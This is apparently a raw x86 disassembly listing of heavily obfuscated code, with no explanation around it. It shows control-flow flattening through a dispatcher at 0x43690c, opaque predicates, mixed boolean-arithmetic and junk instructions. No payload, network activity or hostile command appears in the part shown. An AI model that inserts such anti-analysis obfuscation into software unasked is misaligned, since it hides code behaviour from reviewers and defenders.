xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8d44d80b
mov ecx, 0xc63b6b05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.004b5850
add esp, 0xc
not edi
rol edi, 0x55
rcr edi, 0x5e
rcl ebx, 0x51
bswap esi
neg edi
or esi, 0x70
rcr eax, 0x56
sub ebx, 0x27
neg edx
sub edx, 0x9d
bswap ebx
ror edi, 0x6d
and esi, 0xc5
mov eax, 0xba
sub esi, 0x5a
ror edx, 0x3f
inc edi
dec edi
bswap esi
bswap edx
mov ebx, 0x70
ror eax, 0x59
or esi, 0x13
mov edx, 0x3d
imul esi
rol edi, 0xd
dec ebx
bswap edx
rol edx, 0xc7
add eax, 0xd2
imul edx
or esi, 0xf0
not ebx
bswap edi
dec eax
inc edi
neg eax
dec edi
rcr ebx, 0x56
dec ebx
ror edx, 0xb4
or esi, 0x47
add esi, 0xda
rcl edi, 0x2b
rcr ebx, 0x46
or edi, 0x91
sbb edi, 0x42
not eax
not eax
add ebx, 0xcc
imul edx
or ebx, 0xcd
add edi, 0xa9
sub edi, 0x88
not ebx
and edi, 0xc
or esi, 0x66
inc ebx
rcl ebx, 0x1f
or esi, 0x3b
inc edi
dec eax
rol edi, 0x7d
inc edx
bswap eax
and edx, 0xa0
bswap edi
dec esi
mov edx, 9
sbb edx, 0x53
rcl edx, 0x4a
sub edx, 0x41
ror ebx, 0xc0
rcl ebx, 0x56
neg eax
or esi, 0xfe
bswap ebx
sub ebx, 0x8c
ror edi, 0xe9
not eax
rcr edx, 0xa
imul eax
dec ebx
not edi
rcr ebx, 0x35
imul esi
not edx
inc esi
rcr edx, 0x94
mov esi, 0x4b
inc edi
dec eax
imul ebx
sbb esi, 0x20
imul edx
imul edx
and eax, 0x8a
neg esi
add esi, 0x74
add edi, 0x8e
imul edi
rcr esi, 0x25
dec eax
neg ebx
imul esi
and edi, 0xc4
sbb esi, 0xcc
or eax, 0xdb
imul edx
bswap edx
imul esi
not eax
rcl edx, 0x17
or ebx, 0x88
rol edi, 0xa4
rol esi, 0xfc
ror ebx, 0xe4
or ebx, 0xbd
ror esi, 0x3b
sub edi, 0x56
bswap edx
inc edi
imul eax
sbb esi, 0x1d
sub eax, 0x27
or edx, 0x87
inc edi
ror esi, 0x8b
ror edi, 6
or eax, 0x73
neg edx
not eax
dec edi
add ebx, 0x8e
inc esi
bswap eax
mov edx, 0xa8
rcr edi, 0x15
and edi, 0xa9
sub esi, 0xfc
bswap edi
sub eax, 0xb0
dec edi
mov edx, 0xf8
rcl edx, 0x11
rcr ebx, 0x59
add edx, 0xc5
ror edi, 0x85
sub edi, 0xa6
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
xor edx, edx
sub edx, 0x613d55b
add edx, 0
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0xe977f626
add eax, 0x465e59a5
add eax, 0xe977f626
add eax, 0x5710eebb
add eax, 0x18
sub eax, 0x5710eebb
sub eax, 0x2291730a
sub eax, 0x465e59a5
add eax, 0x2291730a
xor ecx, ecx
sub ecx, eax
add ecx, 0
xor edx, edx
sub edx, 0x613d55b
add edx, 0
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
add eax, 4
add eax, 0x10
mov dword [ebp - 0xd8], eax
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
mov edx, eax
sub edx, 0x922d908e
sub edx, 0xd43e6775
add edx, 0x922d908e
add edx, 0xb2d4ccb0
sub edx, 0x42ac17c1
sub edx, 0xb2d4ccb0
add edx, 0x92a3cee2
add edx, 0xd43e6775
sub edx, 0x92a3cee2
add edx, 0xc3edbfc7
add edx, 0x5ee5e3b
sub edx, 0xc3edbfc7
add edx, 0x1f366358
sub edx, 1
sub edx, 0x1f366358
add edx, 0xe22843d0
sub edx, 0x5ee5e3b
sub edx, 0xe22843d0
add edx, 0x27cf9bd5
sub edx, 0x22819c3d
sub edx, 0x27cf9bd5
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x42ac17c1
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x6c83aae
add edx, 0x22819c3d
add edx, 0x6c83aae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dh
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, dh
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov ch, al
and ch, bl
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bl
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov bl, al
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, bl
or dl, ch
xor ah, dl
mov bh, dh
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, al
and ah, 0xff
and bh, dl
mov dh, ch
and dh, 0xff
and bl, dl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, ch
or al, dl
xor bl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or dh, al
mov bh, 1
xor bh, 1
and bh, 0
mov dl, 1
xor dl, 0
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, ch
or al, dl
xor bh, al
mov dl, 1
xor dl, 1
mov al, bl
xor al, dl
and al, bl
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 1
mov dl, dh
xor dl, ch
and dl, dh
mov byte [ebp - 0x332], dl
mov ch, bh
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0x331], dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x333], ah
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and al, dl
mov byte [ebp - 0x335], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x334], al
mov al, byte [ebp - 0x335]
and cl, dl
or ah, al
mov al, byte [ebp - 0x334]
or al, cl
mov cl, byte [ebp - 0x333]
xor ah, al
mov al, byte [ebp - 0x332]
or cl, ch
mov ch, byte [ebp - 0x331]
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x32d], dl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x32e], cl
and dl, 0
and al, cl
mov cl, byte [ebp - 0x331]
mov byte [ebp - 0x330], al
mov al, ch
and al, 0
mov byte [ebp - 0x32f], al
mov al, byte [ebp - 0x32e]
and cl, al
mov al, byte [ebp - 0x330]
or dl, al
mov al, byte [ebp - 0x32f]
or al, cl
mov cl, byte [ebp - 0x32e]
xor dl, al
mov al, byte [ebp - 0x32d]
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x32c], al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or al, bl
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x32c]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbc7e0fce
mov ecx, 0x8f49148b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dword [ebp - 0x1a8], 0xce0ee87b
jmp 0x43690c
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x8effb63d
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xa06efaee
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x8effb63d
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0
xor edx, edx
sub edx, 0x4429782b
sub edx, 1
add edx, 0x4429782b
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xb55ccf4c
sub ecx, eax
add ecx, 0xb55ccf4c
xor eax, eax
sub eax, 0xaccb163a
sub eax, 0xa06efaee
add eax, 0xaccb163a
add ecx, 0x36e32f67
add ecx, eax
sub ecx, 0x36e32f67
mov eax, dword [ebp - 0x174]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0xbbbfe6a0
jmp 0x43690c
mov dl, byte [ebp - 0xb1]
mov eax, 0x39e07453
mov ecx, 0xef48aaf7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dl, byte [ebp - 0xa5]
mov eax, 0x1964e081
mov ecx, 0xbf079e87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x448], eax
mov ecx, 0xffffffff
xor ecx, 3
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 3
or ecx, edx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x3d04b50c
mov edi, 0xffffffff
xor edi, 0x3d04b50c
mov ebx, edi
and ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x3d04b50c
and edi, 0xffffffff
or edx, ebx
or esi, edi
xor edx, esi
xor edx, 0xffffffff
xor edx, 3
and edx, 3
mov edi, ecx
and edi, edx
xor ecx, edx
or edi, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xf175e413
and ecx, 0xf175e413
mov ebx, 0xffffffff
xor ebx, 0xf175e413
and ebx, 0xc6307f60
mov esi, 0xffffffff
xor esi, 0xc6307f60
mov edx, esi
and edx, 0xf175e413
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xc6307f60
and esi, 0xffffffff
or ebx, edx
mov edx, dword [ebp - 0x448]
or eax, esi
xor ebx, eax
mov esi, ebx
xor esi, 0xffffffff
mov eax, edx
xor eax, esi
and eax, edx
mov dword [ebp - 0x460], eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
mov eax, edi
and eax, edx
or esi, eax
mov eax, 0xffffffff
xor eax, 0xf175e413
mov edx, esi
xor edx, eax
mov eax, dword [ebp - 0x460]
and edx, esi
xor edi, 0xffffffff
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xcdec68c6
or edi, ebx
or esi, 0xcdec68c6
xor edi, 0xffffffff
and edi, esi
mov esi, ecx
xor esi, 0xffffffff
xor eax, 0xffffffff
mov dword [ebp - 0x44c], eax
mov ebx, 0xffffffff
xor ebx, 0x778cab22
mov eax, esi
and eax, 0x778cab22
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x44c]
and ecx, ebx
and eax, 0x778cab22
mov dword [ebp - 0x454], eax
mov eax, dword [ebp - 0x460]
and eax, ebx
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x45c]
or eax, ecx
mov ecx, dword [ebp - 0x458]
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 0x454]
or eax, ecx
mov ecx, dword [ebp - 0x450]
xor ecx, eax
mov eax, dword [ebp - 0x44c]
or esi, eax
mov eax, dword [ebp - 0x448]
xor esi, 0xffffffff
or ebx, 0x778cab22
and esi, ebx
or ecx, esi
mov esi, edx
and esi, edi
xor edx, edi
or esi, edx
mov edi, ecx
xor edi, 0xffffffff
mov edx, esi
and edx, edi
xor esi, 0xffffffff
and ecx, esi
or edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0x76946a43
mov ebx, 0xffffffff
xor ebx, 0x76946a43
mov edi, edx
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x76946a43
and esi, ebx
or eax, edi
or ecx, esi
xor eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfeeeebd5
or eax, edx
or ecx, 0xfeeeebd5
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x9d], al
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
mov edx, eax
sub edx, 0xfaa5d744
sub edx, 0x23f9712c
add edx, 0xfaa5d744
xor esi, esi
sub esi, 0x4dd0737a
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x23f9712c
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x30452018
add edx, 0x98de269c
sub edx, 0x30452018
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0xf2ea2d68
sub edx, 0x98de269c
sub edx, 0xf2ea2d68
xor esi, esi
sub esi, 0x1805e330
sub edx, esi
xor esi, esi
sub esi, 0x4dd0737a
sub edx, esi
add edx, 0x34fd17eb
sub edx, 0x1805e330
sub edx, 0x34fd17eb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x440], al
cmp ecx, 0xa
setl dl
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
or bh, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, dl
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov cl, ah
and cl, 0
and bh, dh
mov byte [ebp - 0x442], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x441], al
mov al, byte [ebp - 0x442]
or cl, al
mov al, byte [ebp - 0x441]
or bh, al
mov al, byte [ebp - 0x440]
xor cl, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or cl, ah
mov ah, ch
and ah, 1
xor ch, 1
or ah, ch
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and cl, ch
or dh, cl
xor dh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or dh, ah
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or cl, ah
xor cl, 0xff
mov bh, dl
xor bh, cl
and bh, dl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
mov cl, al
and cl, 0
and bh, dl
mov ch, ah
and ch, 0
and bl, dl
or cl, bh
or ch, bl
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, ah
or al, dl
xor ch, al
mov byte [ebp - 0x43d], ch
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, bl
or al, ah
xor bh, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, 1
xor al, 0
or ch, ah
or al, 0
xor ch, 0xff
and ch, al
xor dh, 0xff
mov ah, bh
xor ah, 0xff
mov al, 1
xor al, 0
or dh, ah
or al, 0
xor dh, 0xff
and dh, al
mov al, dl
xor al, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 0
or al, bl
or ah, 0
xor al, 0xff
and al, ah
xor cl, 0xff
mov bl, bh
xor bl, 0xff
mov ah, 1
xor ah, 0
or cl, bl
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x43c], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
and al, dh
mov byte [ebp - 0x43f], al
mov al, bl
and al, 0
mov byte [ebp - 0x43e], al
mov al, byte [ebp - 0x43f]
and cl, dh
or ch, al
mov al, byte [ebp - 0x43e]
or al, cl
mov cl, byte [ebp - 0x43d]
xor ch, al
mov al, byte [ebp - 0x43c]
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x43b], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
mov al, ch
and al, 0
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x43b]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6803f075
mov ecx, 0x85ae9dc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dl, byte [ebp - 0x9d]
mov eax, 0xc6b6c586
mov ecx, 0x30ffc40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
xor esi, esi
sub esi, 0xac67f514
add esi, 0
mov edx, eax
add edx, 0x8e7025a9
sub edx, esi
sub edx, 0x8e7025a9
xor esi, esi
sub esi, 1
add esi, 0
add edx, 0xcea16c02
add edx, esi
sub edx, 0xcea16c02
mov edi, 0x1c700138
add edi, 0
sub edi, 0xac67f514
sub edi, 0x1c700138
xor esi, esi
sub esi, edi
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x4b3], al
cmp ecx, 0xa
setl ch
mov byte [ebp - 0x4af], ch
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov ah, al
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, bh
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and bh, dl
mov dh, ah
and dh, 0xff
and bl, dl
or al, bh
or dh, bl
xor al, dh
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x49d], al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov ah, ch
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
xor ch, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bl
or dl, dh
xor al, dl
xor al, 0xff
mov dh, 1
xor dh, 1
mov dl, 1
xor dl, 0
or al, dh
or dl, 0
xor al, 0xff
and al, dl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov al, 1
xor al, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
mov cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
xor dl, 0xff
mov bl, 1
xor bl, 0
mov dh, 1
xor dh, 0
or dl, bl
or dh, 0
xor dl, 0xff
and dl, dh
mov byte [ebp - 0x4b2], dl
mov bl, 1
xor bl, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or bl, ah
or dl, 1
xor bl, 0xff
and bl, dl
mov ah, al
xor ah, 0xff
mov dh, cl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov dl, ah
and dl, 0xff
and al, bh
mov byte [ebp - 0x4b5], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x4b4], al
mov al, byte [ebp - 0x4b5]
and cl, bh
or dl, al
mov al, byte [ebp - 0x4b4]
or al, cl
mov cl, byte [ebp - 0x4b3]
xor dl, al
mov al, byte [ebp - 0x4b2]
or ah, dh
mov dh, byte [ebp - 0x49d]
xor ah, 0xff
or bh, 1
and ah, bh
or dl, ah
mov ah, al
and ah, bl
xor al, bl
or ah, al
mov bl, dl
xor bl, 0xff
mov al, ah
and al, bl
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0x49c], al
mov bl, 1
xor bl, 1
and bl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, ah
or al, dl
xor bl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
mov bh, dh
and bh, al
mov dl, bl
xor dl, 0xff
and dl, 0xff
and bl, al
mov al, byte [ebp - 0x49c]
or ah, bh
or dl, bl
xor ah, dl
xor dh, 0xff
mov dl, ah
xor dl, dh
and dl, ah
mov byte [ebp - 0x4ad], dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bl
or al, dh
or dl, ah
xor al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov ah, 1
xor ah, 1
mov byte [ebp - 0x4ae], ah
mov bh, cl
xor bh, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
mov al, dl
and al, 1
mov byte [ebp - 0x4b1], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x4b0], al
mov al, byte [ebp - 0x4b1]
and cl, dl
or ah, al
mov al, byte [ebp - 0x4b0]
or al, cl
mov cl, byte [ebp - 0x4af]
xor ah, al
mov al, byte [ebp - 0x4ae]
or al, bh
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov al, dh
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and dh, bh
mov dl, 1
xor dl, 1
and dl, 0
and bh, 1
or al, dh
mov dh, byte [ebp - 0x49c]
or dl, bh
xor al, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0x4a5], al
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bh, cl
and bh, dh
mov al, ah
xor al, 0xff
and al, 0
and ah, dh
mov dh, byte [ebp - 0x4ad]
or dl, bh
or al, ah
xor dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, dh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0x4a8], al
mov dh, bl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov ah, bl
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov al, 1
xor al, 0
and al, 1
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x4ad]
or ah, bh
mov bh, byte [ebp - 0x4a8]
xor al, ah
mov byte [ebp - 0x4ac], al
xor bh, 0xff
mov ah, 1
xor ah, 0
mov al, 1
xor al, 1
or bh, ah
mov ah, byte [ebp - 0x4ac]
or al, 1
xor bh, 0xff
and bh, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov byte [ebp - 0x4ab], al
mov al, dh
xor al, 0xff
mov cl, 1
xor cl, 0
mov ah, 1
xor ah, 0
or al, cl
mov cl, byte [ebp - 0x4ac]
or ah, 0
xor al, 0xff
and al, ah
mov byte [ebp - 0x4aa], al
mov al, cl
xor al, 0xff
mov ah, bl
